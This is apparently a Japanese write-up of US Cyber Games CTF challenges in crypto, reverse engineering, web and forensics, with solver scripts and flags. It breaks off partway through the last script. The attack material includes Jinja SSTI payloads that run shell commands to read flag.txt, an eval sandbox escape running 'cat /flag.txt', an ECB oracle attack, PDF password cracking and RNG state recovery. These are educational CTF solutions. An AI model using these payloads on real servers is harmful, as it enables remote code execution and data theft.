 ・ctを16進数文字列表記で表示
$ nc crypto.ctf.uscybergames.com 5001
=== AES-ECB Byte-at-a-Time Oracle ===
Send hex-encoded bytes. Empty line or 'exit' quits.
> 11
5bb0430d82f067a9f0094fc60a67c40c3674f42783f4e2ce0435290e42cc35e6
> 1111
8629ae843206bafbf4ad1755c7f9fd277dcbad37cede3209f7c8d73f1185ec3d
> 111111
bf39b26ff6b5192911b11723e7efa21a4090a5349332d6f25e34dce6725c683c
> 11111111
3ad9a0bcdd6afb3c472a22f06be9c4c0fe1058ae62fa13af38afb7123a242963
> 1111111111
7f357086544a56c604138fff01cdc39200a696bdc67a05e59dc94fa399b6b644
> 111111111111
84c72b8cc844a2888b6a4b107faa49fc9bbe26cd530a1b2b2797fe701e5e9652
> 11111111111111
d867457bbf72855d32862770daba9cf193fafe367c112417f419366b89c270a2e5e8aaba37db1a1ce59163e7974f671e

この結果から、Xを入力文字、Fをフラグ、Pをパディング文字としたとき、平文のブロック構成のイメージは以下のようになる。

0123456789abcdef
XXXXXXXFFFFFFFFF
FFFFFFFFFFFFFFFF
PPPPPPPPPPPPPPPP

1文字ずつはみ出させながら、同じ暗号ブロックになるものを探していく。最初の1文字については、以下のようなイメージになる。

0123456789abcdef
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXX?
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXF
FFFFFFFFFFFFFFFF
FFFFFFFFFPPPPPPP
#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.ctf.uscybergames.com', 5001))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

flag = ''
for i in range(25):
    for code in range(33, 127):
        msg = 'X' * (31 - i) + flag + chr(code) + 'X' * (31 - i)
        print('[+] Try message:', msg)
        msg = msg.encode().hex()
        data = recvuntil(s, b'> ')
        print(data + msg)
        s.sendall(msg.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if data[32*1:32*2] == data[32*3:32*4]:
            flag += chr(code)
            break

print('[+] flag:', flag)

実行結果は以下の通り。

=== AES-ECB Byte-at-a-Time Oracle ===
Send hex-encoded bytes. Empty line or 'exit' quits.
        :
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0zXXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307a58585858585858
af2ab0c25d0cd4149c2e98a870a49f6b1663c3bcb986b12aa5ca134cf9870db8af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0{XXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307b58585858585858
af2ab0c25d0cd4149c2e98a870a49f6b4374b96062780e9f8d5ee9a6887555c7af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0|XXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307c58585858585858
af2ab0c25d0cd4149c2e98a870a49f6ba65ec5d28f45ff6bdb567be94098b0a5af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] Try message: XXXXXXXSVBGR{M3G4_P0W3RUP_C0MB0}XXXXXXX
> 5858585858585853564247527b4d3347345f503057335255505f43304d42307d58585858585858
af2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94aaf2ab0c25d0cd4149c2e98a870a49f6b4cd4709c2df280bddb8a665ea947b94a5a91631cc847659726bbfb6f7f43f9f9
[+] flag: SVBGR{M3G4_P0W3RUP_C0MB0}
SVBGR{M3G4_P0W3RUP_C0MB0}

CTF Cafe (RE) (Beginner's Game Room)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  int local_10;
  uint local_c;
  
LAB_004004ae:
  while( true ) {
    puts(&DAT_00401300);
    puts("1. View Menu");
    puts("2. Place Order");
    puts("3. View Total");
    puts("0. Exit");
    printf("Enter your choice: ");
    iVar1 = __isoc23_scanf(&DAT_00401371,&local_10);
    if (iVar1 == 1) break;
    clear_input();
    puts("Invalid input. Please enter a number.");
  }
  if (local_10 == 9) {
    puts("Oh, so you want the secret sauce recipe? Only if you have our proprietary key!");
    printf("Enter 8-byte hex key (e.g., 0x0123456789ABCDEF): ");
    iVar1 = __isoc23_scanf(&DAT_00401442,&key);
    if (iVar1 != 1) {
      puts("Invalid input.");
      return 1;
    }
    if (key == -0x642d38a5b63b1015) {
      puts("Congratulations! You have unlocked the secret sauce recipe!");
      printf("Secret Sauce: ");
      for (local_c = 0; local_c < 0x21; local_c = local_c + 1) {
        putchar((int)(char)(*(byte *)((long)&size + (long)((int)local_c % 8)) ^
                           secret_sauce[(int)local_c]));
      }
      putchar(10);
    }
    else {
      puts("Incorrect key! You can\'t have the secret sauce recipe.");
    }
  }
  else {
    if (9 < local_10) goto LAB_0040065f;
    if (local_10 == 3) {
      view_total();
      goto LAB_004004ae;
    }
    if (local_10 < 4) {
      if (local_10 == 2) {
        place_order();
        goto LAB_004004ae;
      }
      if (2 < local_10) goto LAB_0040065f;
      if (local_10 == 0) {
        puts("Thank you for dining with us!");
        return 0;
      }
      if (local_10 == 1) {
        print_menu();
        goto LAB_004004ae;
      }
    }
  }
LAB_0040065f:
  puts("Invalid choice. Try again.");
  goto LAB_004004ae;
}

メニューにない9を入力し、keyに-0x642d38a5b63b1015を入力すればフラグが表示される。

$ ./ctf_cafe

===== 🍔 Welcome to the CTF Cafe! =====
1. View Menu
2. Place Order
3. View Total
0. Exit
Enter your choice: 9
Oh, so you want the secret sauce recipe? Only if you have our proprietary key!
Enter 8-byte hex key (e.g., 0x0123456789ABCDEF): -0x642d38a5b63b1015
Congratulations! You have unlocked the secret sauce recipe!
Secret Sauce: SVBGR{d3c0mp1l3rs_m4k3_l1f3_34sy}
Invalid choice. Try again.
SVBGR{d3c0mp1l3rs_m4k3_l1f3_34sy}

Ninja Note (Web) (Beginner's Game Room)

User-Agentに"NinjaNote 13.37"を指定してアクセスする必要があるようだ。
Note作成と閲覧をテストしてみる。

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "Success!"}'
{"note_id":"6e64bfd6-1e71-4def-8a1a-124fa30fcbb7"}

$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/6e64bfd6-1e71-4def-8a1a-124fa30fcbb7 -A 'NinjaNote 13.37'
Note ID: 6e64bfd6-1e71-4def-8a1a-124fa30fcbb7
Title: test
Note: Success!

クライアントのコードの中で以下の部分がある。

note_content = input("Note content: ").replace("{", "").replace("}", "")

サーバサイドの処理ではないので、SSTIを疑い、試してみる。

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{7*7}}"}'
{"note_id":"b6fb570c-2b8d-4aba-9db6-43e7d50d912b"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/b6fb570c-2b8d-4aba-9db6-43e7d50d912b -A 'NinjaNote 13.37'
Note ID: b6fb570c-2b8d-4aba-9db6-43e7d50d912b
Title: test
Note: 49

SSTIが使える。

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{request.application.__globals__.__builtins__.__import__(\"os\").popen(\"ls -lah\").read()}}"}'
{"note_id":"2f4b43c6-cf86-49bf-a97d-db67344b6248"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/2f4b43c6-cf86-49bf-a97d-db67344b6248 -A 'NinjaNote 13.37'
Note ID: 2f4b43c6-cf86-49bf-a97d-db67344b6248
Title: test
Note: total 32K    
drwxr-xr-x    1 root     root        4.0K Jun  9 04:10 .
drwxr-xr-x    1 root     root        4.0K Jun  9 04:01 ..
drwxr-xr-x    2 root     root        4.0K Jun  9 04:01 __pycache__
-rw-r--r--    1 root     root        1.8K Jun  6 22:44 main.py
-rw-r--r--    1 root     root       12.0K Jun  9 04:10 notes.db

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{request.application.__globals__.__builtins__.__import__(\"os\").popen(\"ls -lah ../\").read()}}"}'
{"note_id":"bd1f692c-4bdd-42a7-bfb9-2d0e35ecc4a2"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/bd1f692c-4bdd-42a7-bfb9-2d0e35ecc4a2 -A 'NinjaNote 13.37'
Note ID: bd1f692c-4bdd-42a7-bfb9-2d0e35ecc4a2
Title: test
Note: total 80K    
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 .
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 ..
-rwxr-xr-x    1 root     root           0 Jun  9 04:12 .dockerenv
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 app
drwxr-xr-x    1 root     root        4.0K May 31 00:10 bin
drwxr-xr-x    5 root     root         340 Jun  9 04:12 dev
drwxr-xr-x    1 root     root        4.0K Jun  9 04:12 etc
-rw-r--r--    1 root     root          36 Jun  4 20:45 flag.txt
drwxr-xr-x    2 root     root        4.0K May 30 12:13 home
drwxr-xr-x    1 root     root        4.0K May 30 12:13 lib
drwxr-xr-x    5 root     root        4.0K May 30 12:13 media
drwxr-xr-x    2 root     root        4.0K May 30 12:13 mnt
drwxr-xr-x    2 root     root        4.0K May 30 12:13 opt
dr-xr-xr-x  354 root     root           0 Jun  9 04:12 proc
drwx------    1 root     root        4.0K May 31 12:31 root
drwxr-xr-x    3 root     root        4.0K May 30 12:13 run
drwxr-xr-x    2 root     root        4.0K May 30 12:13 sbin
drwxr-xr-x    2 root     root        4.0K May 30 12:13 srv
dr-xr-xr-x   13 root     root           0 Jun  9 04:12 sys
drwxrwxrwt    1 root     root        4.0K Jun  9 04:12 tmp
drwxr-xr-x    1 root     root        4.0K May 31 00:10 usr
drwxr-xr-x   11 root     root        4.0K May 30 12:13 var

$ curl https://exixijlc.web.ctf.uscybergames.com/api/submit -A 'NinjaNote 13.37' -H 'Content-Type: application/json' -d '{"title": "test", "content": "{{request.application.__globals__.__builtins__.__import__(\"os\").popen(\"cat ../flag.txt\").read()}}"}'
{"note_id":"d31d5505-75a2-4bcb-84b7-5bdaf80e49b5"}
$ curl https://exixijlc.web.ctf.uscybergames.com/api/notes/d31d5505-75a2-4bcb-84b7-5bdaf80e49b5 -A 'NinjaNote 13.37'
Note ID: d31d5505-75a2-4bcb-84b7-5bdaf80e49b5
Title: test
Note: SVBGR{y0u_4r3_4n_API_h4ck1ng_n1nj4!}
SVBGR{y0u_4r3_4n_API_h4ck1ng_n1nj4!}

Gotta Go Low (Crypto) (Beginner's Game Room)

暗号化処理の概要は以下の通り。

・以下繰り返し
 ・p: 512ビット素数
 ・q: 512ビット素数
 ・3と(p - 1) * (q - 1)が互いに素の場合、繰り返し終了
・pubKey, privKey = genKeypair(p, q)
 ・n = p * q
 ・phi = (p - 1) * (q - 1)
 ・e = 3
 ・d = inverse(e, phi)
 ・((e, n), (d, n))を返却
・message: フラグ
・encrypted = encrypt(pubKey, message)
 ・e, n = pubKey
 ・plaintextInt: messageを数値化したもの
 ・encrypted = pow(plaintextInt, e, n)
 ・encryptedを返却

RSA暗号で、e, n, encryptedの値はわかっている。eが小さいので、Low Public-Exponent Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import gmpy2

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

e = int(params[0].split(' ')[-1])
n = int(params[1].split(' ')[-1])
ciphertext = int(params[2].split(' ')[-1])

m, success = gmpy2.iroot(ciphertext, e)
assert success == True
flag = long_to_bytes(m).decode()
print(flag)
SVBGR{l0w_3xp0n3nt5_@r3_n0t_s@fe}

The Magic of Bytes (RE) (Beginner's Game Room)

一定の値でシフトしたバイナリをテキストに保存している。
ELFファイルの先頭4バイトは必ず以下のようになるはず。

7f 45 4c 46

テキストはすべてprintableな文字になっていて、先頭4文字は以下のようになっている。

@O=>

CyberChefのROT47でマイナス方向にシフトすると、-9で以下のようになった。

7F45

これはELFファイルの先頭2バイトのhex文字である。つまりbytes.txtの文字を-9シフトし、hexデコードすればバイナリに復元ことができる。

#!/usr/bin/env python3
with open('bytes.txt', 'r') as f:
    enc = f.read().splitlines()[1]

hex_data = ''
for c in enc:
    hex_data += chr(ord(c) - 9)

elf_data = bytes.fromhex(hex_data)

with open('chall.elf', 'wb') as f:
    f.write(elf_data)

復元したバイナリを実行する。

$ ./chall.elf
Alright, here's your ELF that you wanted so badly
Now use these bytes for the other python reverse engineering I mentioned
550D0D0A 00000000 41322968 48010000 E3000000 00000000 00000000 00000000 00030000 00400000 00738E00 00006400 64016C00 5A006402 64038400 5A016404 64058400 5A026406 64078400 5A036408 64098400 5A04640A 640B8400 5A05640C 640D8400 5A06640E 640F8400 5A076410 64118400 5A086412 64138400 5A09650A 65068300 65038300 17006502 83001700 65048300 17006501 83001700 65058300 17006508 83001700 65098300 17006507 83001700 83010100 64015300 2914E900 0000004E 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0335 5F49A900 72020000 00720200 00007202 000000FA 0677696E 2E7079DA 02733103 00000073 02000000 00017204 00000063 00000000 00000000 00000000 00000000 01000000 43000000 73040000 00640153 0029024E 5A033331 31720200 00007202 00000072 02000000 72020000 00720300 0000DA02 73320600 00007302 00000000 01720500 00006300 00000000 00000000 00000000 00000001 00000043 00000073 04000000 64015300 29024E7A 027B5772 02000000 72020000 00720200 00007202 00000072 03000000 DA027333 09000000 73020000 00000172 06000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A045F 54683172 02000000 72020000 00720200 00007202 00000072 03000000 DA027334 0C000000 73020000 00000172 07000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0435 5F416E72 02000000 72020000 00720200 00007202 00000072 03000000 DA027335 0F000000 73020000 00000172 08000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0553 56424752 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 36120000 00730200 00000001 72090000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E7A03 31317D72 02000000 72020000 00720200 00007202 00000072 03000000 DA027337 15000000 73020000 00000172 0A000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A055F 354C465F 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 38180000 00730200 00000001 720B0000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E5A03 43484172 02000000 72020000 00720200 00007202 00000072 03000000 DA027339 1B000000 73020000 00000172 0C000000 290B5A0A 70795F63 6F6D7069 6C657204 00000072 05000000 72060000 00720700 00007208 00000072 09000000 720A0000 00720B00 0000720C 000000DA 05707269 6E747202 00000072 02000000 72020000 00720300 0000DA08 3C6D6F64 756C653E 01000000 73140000 00080208 03080308 03080308 03080308 03080308 03

このコードをバイナリに復元するとpycファイルになると考えられる。

#!/usr/bin/env python3
enc = '550D0D0A 00000000 41322968 48010000 E3000000 00000000 00000000 00000000 00030000 00400000 00738E00 00006400 64016C00 5A006402 64038400 5A016404 64058400 5A026406 64078400 5A036408 64098400 5A04640A 640B8400 5A05640C 640D8400 5A06640E 640F8400 5A076410 64118400 5A086412 64138400 5A09650A 65068300 65038300 17006502 83001700 65048300 17006501 83001700 65058300 17006508 83001700 65098300 17006507 83001700 83010100 64015300 2914E900 0000004E 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0335 5F49A900 72020000 00720200 00007202 000000FA 0677696E 2E7079DA 02733103 00000073 02000000 00017204 00000063 00000000 00000000 00000000 00000000 01000000 43000000 73040000 00640153 0029024E 5A033331 31720200 00007202 00000072 02000000 72020000 00720300 0000DA02 73320600 00007302 00000000 01720500 00006300 00000000 00000000 00000000 00000001 00000043 00000073 04000000 64015300 29024E7A 027B5772 02000000 72020000 00720200 00007202 00000072 03000000 DA027333 09000000 73020000 00000172 06000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A045F 54683172 02000000 72020000 00720200 00007202 00000072 03000000 DA027334 0C000000 73020000 00000172 07000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0435 5F416E72 02000000 72020000 00720200 00007202 00000072 03000000 DA027335 0F000000 73020000 00000172 08000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A0553 56424752 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 36120000 00730200 00000001 72090000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E7A03 31317D72 02000000 72020000 00720200 00007202 00000072 03000000 DA027337 15000000 73020000 00000172 0A000000 63000000 00000000 00000000 00000000 00010000 00430000 00730400 00006401 53002902 4E5A055F 354C465F 72020000 00720200 00007202 00000072 02000000 72030000 00DA0273 38180000 00730200 00000001 720B0000 00630000 00000000 00000000 00000000 00000100 00004300 00007304 00000064 01530029 024E5A03 43484172 02000000 72020000 00720200 00007202 00000072 03000000 DA027339 1B000000 73020000 00000172 0C000000 290B5A0A 70795F63 6F6D7069 6C657204 00000072 05000000 72060000 00720700 00007208 00000072 09000000 720A0000 00720B00 0000720C 000000DA 05707269 6E747202 00000072 02000000 72020000 00720300 0000DA08 3C6D6F64 756C653E 01000000 73140000 00080208 03080308 03080308 03080308 03080308 03'
enc = enc.replace(' ', '')
pyc = bytes.fromhex(enc)

with open('chall.pyc', 'wb') as f:
    f.write(pyc)

復元したpycファイルをデコンパイルする。

$ ~/pycdc/pycdc chall.pyc                      
# Source Generated with Decompyle++
# File: chall.pyc (Python 3.8)

import py_compile

def s1():
    return '5_I'


def s2():
    return '311'


def s3():
    return '{W'


def s4():
    return '_Th1'


def s5():
    return '5_An'


def s6():
    return 'SVBGR'


def s7():
    return '11}'


def s8():
    return '_5LF_'


def s9():
    return 'CHA'

print(s6() + s3() + s2() + s4() + s1() + s5() + s8() + s9() + s7())

printの順番に文字列を結合する。

SVBGR{W311_Th15_I5_An_5LF_CHA11}

L33tcoder (Web)

数値配列をソートするコードテストをするサイトだが、目的は/flag.txtの内容を取得すること。
使用できる関数は"len", "range", "min", "max", "sum", "abs", "enumerate"だけ。
以下のように指定して、Run Testsを実行し、/flag.txtの内容を表示する。

def myfunc(nums):
	len = eval
	len("__import__('os').system('cat /flag.txt')")
	exit(0)
	return nums

この結果、以下のように表示された。

SVUSCG{e2887303bb9be6e8fe638d57ba9a7a0c}SVUSCG{e2887303bb9be6e8fe638d57ba9a7a0c}...(snip)...
Results:
Case	Correct	Time (sec)
1	True	0.001263
2	False	0.001255
        :
        :
SVUSCG{e2887303bb9be6e8fe638d57ba9a7a0c}

Historical Fiction (Forensics)

問題文は以下のようになっている。

One of the US Cyber Games administrators is an avid reader and one of the coaches suggested that she gets a book to learn more about cybersecurity. They can’t remember what the title of the book or that ISBN was but if you examine their Chrome History, you can find the flag which is the book’s ISBN number. It is important to note that they won’t buy a hard cover book or a kindle edition, just the paperback one.

該当する本のISBN番号を答える問題である。

Google\Chrome\User Data\Default\HistoryをDB Browserで確認する。urlsテーブルのurlを見ていくと、一つペーパーバックの本があった。

https://www.amazon.com/Hack-Back-Techniques-Hackers-Their/dp/1032818530/ref=tmm_pap_swatch_0

ISBN-10番号は1032818530、ISBN-13番号は978-1032818535である。
しかし以下の2つのフラグは通らなかった。

SVUSCG{1032818530}
SVUSCG{978-1032818535}

ISBN-13番号のハイフンを外したら、通った。

SVUSCG{9781032818535}

Logged (Forensics)

問題文は以下のようになっている。

One of the US Cyber Games administrators forgot their password to the FTP Server a lot of times. How many times did they forget it according to the IIS Windows log file?

FTPのログイン失敗は530というコードで残るので、その数をカウントする。

$ grep 530 -a ex250604.log | wc -l
306737
SVUSCG{306737}

USCG Admin was H@cked (Forensics)

悪意のあるスタートアップアプリケーションが実行されるように設定されているとのこと。
Registry Viewerでregistry\Users\uscgadmin\NTUSER.DATを開く。
\Software\Microsoft\Windows\CurrentVersion\Runを見てみると、Nameにフラグが設定されていた。

SVUSCG{uf0undme}

Future of SWE (Forensics)

FTK Imagerで開き、[root]直下にあるファイルを削除フラグがあるファイルをエクスポートする。

・passwords.xlsx
・ProjectNextBigThing.docx

ProjectNextBigThing.docxにはパスワードがかかっている。
passwords.xlsxのSheet2 A2にあるパスワード「clippyisawesome」で開け、フラグが書いてあった。

SVUSCG{th3_futur3_is_look1n_br1ght}

Deleted (Forensics)

FTK Imagerで開き、[root]直下を見ると、削除フラグの付いた2025-06-04_11-48-36.jpgがある。この画像にフラグが書いてあった。

SVUSCG{FILE_DELETE_2025}

Redactables (Forensics)

PDFにはパスワードがかかっているので、クラックする。

$ pdf2john redactable.pdf > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
friends4eva      (redactable.pdf)     
1g 0:00:00:03 DONE (2025-06-10 11:11) 0.2994g/s 2682p/s 2682c/s 2682C/s fucklife..147896
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

パスワード friends4eva でPDFを開く。黒いマスク部分をコピーして、ペイントに貼り付けると、フラグが渦巻いたものが書いてあった。

GIMPで開き、渦巻と吸い込みで調整すると、フラグを確認することができた。

SVUSCG{oops_i_did_it_again_i_didnt_redact}

Just Look At It (Forensics)

stegseekで秘密情報が隠されていないかを確認する。

$ stegseek lookatthis.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "ilovenickelback5"  

[i] Original filename: "flag.txt".
[i] Extracting to "lookatthis.jpg.out".

$ cat lookatthis.jpg.out                 
SVUSCG{l00k_4t_th1s_gr44444444444ph}
SVUSCG{l00k_4t_th1s_gr44444444444ph}

Prime Suspects (Crypto)

RSA暗号。nをfactordbで素因数分解する。

n = 305875545128432734240552595430305723491 * 333679396508538352589365351078683227609

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 102064367305175623005003367803963735992210717721719563218760598878897771063019
e = 65537
c = 66538583650087752653364112099322882026083260207958188191147900019851853145222
p = 305875545128432734240552595430305723491
q = 333679396508538352589365351078683227609

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
SVUSCG{sm4ll_pr1m3s}

BezoutBezoutBezout (Crypto)

Pythonのコードは以下だけ書かれている。

for i in range(len(gcds)):
    d = gcds[i]
    a,b = magic_select(d, nums)
    s,t = magic_bezout(a,b)
    assert(d + s + t == ord(flag[i]))

ベズーの等式に関することが推測できるので、以下の処理をしていると推測できる。

・gcds: gcds.txtに書かれている数値配列
・nums: nums.txtに書かれている数値配列
・d = gcds[i]
・a, b: numsの2つの組み合わせでGCDがdになるもの
・s, t: s * a + t * b = dを満たすs, t
・d + s + tがflag[i]のASCIIコードであることをチェック

a, bはnumsの総当たりで割り出すことができる。s, tは拡張ユークリッドの互除法を使えば解ける。
ただ、最小のs, tではflagにならない場合があるので、以下の計算で、printableな文字になるよう探していく。

・s = s0 + k * (b // d)
・t = t0 - k * (a // d)
#!/usr/bin/env python3
import itertools
from Crypto.Util.number import *

def extended_gcd(a, b):
    if b == 0:
        return (a, 1, 0)
    else:
        gcd, s1, t1 = extended_gcd(b, a % b)
        s = t1
        t = s1 - (a // b) * t1
        return (gcd, s, t)

with open('gcds.txt', 'r') as f:
    gcds = eval(f.read())

with open('nums.txt', 'r') as f:
    nums = eval(f.read())

flag = ''
for i in range(len(gcds)):
    d = gcds[i]
    for x in itertools.combinations(nums, 2):
        a = x[0]
        b = x[1]
        if GCD(a, b) == d:
            break

    gcd, s0, t0 = extended_gcd(a, b)
    assert gcd == d

    for k in range(-3, 4):
        s = s0 + k * (b // d)
        t = t0 - k * (a // d)
        code = d + s + t
        if code > 32 and code < 127:
            flag += chr(code)
            break

print(flag)
SVUSCG{m4king_4_fl4g_4_xgcd_a1n7_ez}

LLL backwards is still (Crypto)

Mはflagの各文字のASCIIコードを行方向に並べたもの。M.transpose()は行列を逆にしたもののため、列方向に並べたものになる。
_M = M.transpose()とし、C = _M.LLL()としたとき、ある行列Uに対して以下の式が成り立つ。

_M = U * B

Uを未知としてz3で解く。これによりBもわかりフラグを取得する。少し調整した結果、フラグを取得できた。

#!/usr/bin/env sage
from z3 import *

B = [
    [-12, -28,   2,  -2,   0,   9],
    [  2, -19,  -5,  -2, -47,  -2],
    [ 43, -17,  10,  19,  22,  -1],
    [ 24, -18,  -3, -42,  15, -19],
    [  3,  -7,   6,  18,   5, -65],
    [-24,   2,  74, -18, -21, -26]
]

U = [[Int(f'u_{i}_{j}') for j in range(6)] for i in range(6)]

M_T = [[Sum([U[i][k] * B[k][j] for k in range(6)]) for j in range(6)] for i in range(6)]

M = [[M_T[j][i] for j in range(6)] for i in range(6)]

s = Solver()
for i in range(6):
    for j in range(6):
        m = M[i][j]
        s.add(m > 32, m < 127)

known = "SVUSCG{"
for idx, ch in enumerate(known):
    row, col = divmod(idx, 6)
    s.add(M[row][col] == ord(ch))

s.add(M[5][5] == ord('}'))

## arange ##
s.add(M[1][1] == ord('t'))

r = s.check()
assert r == sat
m = s.model()

M_val = [[m.evaluate(M[i][j]).as_long() for j in range(6)] for i in range(6)]
flag = ''.join([chr(c) for row in M_val for c in row])
print(flag)
SVUSCG{th1s_flag_has_36_ch4ract3rs!}

Lost At Sea (Crypto)

サーバの処理概要は以下の通り。

・BOARD_SIZE = 2**32
・SHIP_SIZES = [5, 4, 3, 3, 2]
・MAX_TURNS = 312
・seed: ランダム64ビット整数
・rng = random.Random(seed)
・FLAG: /flag.txtの内容
・以下繰り返し
 ・start_game()
  ・以下繰り返し
   ・line: 入力
   ・ships = parse_ship_input(line.strip())
    ・ships: line.strip()をJSONデータとしてパース
    ・shipsがlist型でないか、shipsの長さが5以外の場合Noneを返却
    ・parsed = []
    ・shipsの各要素entryに対して以下を実行
     ・entryがlist型でないか、長さが3以外か、entry[0]やentry[1]がint型でないか、entry[2]が"H"でも"V"でもない場合
      ・Noneを返却
     ・parsedに(entry[0], entry[1], entry[2])を追加
    ・parsedを返却
   ・shipsがNoneの場合、入力し直し
   ・繰り返し終了
  ・player_board = set()
  ・shipsの各要素のインデックスidxと各要素(r, c, d)に対して以下を実行
   ・res = place_ship(player_board, r, c, SHIP_SIZES[idx], d)
    ・positions = []
    ・SHIP_SIZES[idx]未満のiに対して以下を実行
     ・dが"V"の場合、r = r + i
     ・dが"H"の場合、c = c + i
     ・「rが0以上BOARD_SIZE未満、cが0以上BOARD_SIZE未満」以外の場合、Falseを返却
     ・pos = (r, c)
     ・posがplayer_boardにある場合、Falseを返却
     ・positionsにposを追加
    ・positionsのposをboardに追加
    ・Trueを返却
   ・resがFalseの場合、入力し直し
  ・computer_board = place_computer_ships()
   ・board = set()
   ・SHIP_SIZESの各値sizeに対して以下を実行
    ・placed = False
    ・r: ランダム32ビット整数
    ・c: ランダム32ビット整数
    ・d: rng.random()が0.5未満の場合'H'、それ以外の場合'V'
    ・placed = place_ship(board, r, c, size, d)
   ・boardを返却
  ・player_shots = set()
  ・MAX_TURNSの回数だけ以下繰り返し
   ・line: 入力
   ・sr, sc: lineを","区切りの2つの数値
   ・player_shotsに(sr, sc)がある場合、入力し直し
   ・player_shotsに(sr, sc)を追加
   ・(sr, sc)がcomputer_boardにある場合は"HIT"と表示
   ・(sr, sc)がcomputer_boardにない場合は"MISS"と表示
   ・computer_boardのplayer_shotsの部分集合の場合、フラグを表示
   ・cr: ランダム32ビット整数
   ・cc: ランダム32ビット整数
   ・result: (cr, cc)がplayer_boardにある場合は"HIT"、ない場合は"MISS"
   ・cr, cc, resultを表示

Mersenne Twisterの問題。1回目のstart_game()は乱数情報収集で、624個の32ビット整数の情報を得る。あとはこの情報から乱数状態を復元し、2回目のstart_game()でコンピュータのshipの位置を確認できる。

#!/usr/bin/env python3
import socket
import random
import json

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

def place_ship(board, start_row, start_col, size, direction):
    positions = []
    for i in range(size):
        r = start_row + i if direction == 'V' else start_row
        c = start_col + i if direction == 'H' else start_col
        if not (0 <= r < BOARD_SIZE and 0 <= c < BOARD_SIZE):
            return False
        pos = (r, c)
        if pos in board:
            return False
        positions.append(pos)
    for pos in positions:
        board.add(pos)
    return True

BOARD_SIZE = 2**32
SHIP_SIZES = [5, 4, 3, 3, 2]
MAX_TURNS = 312

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
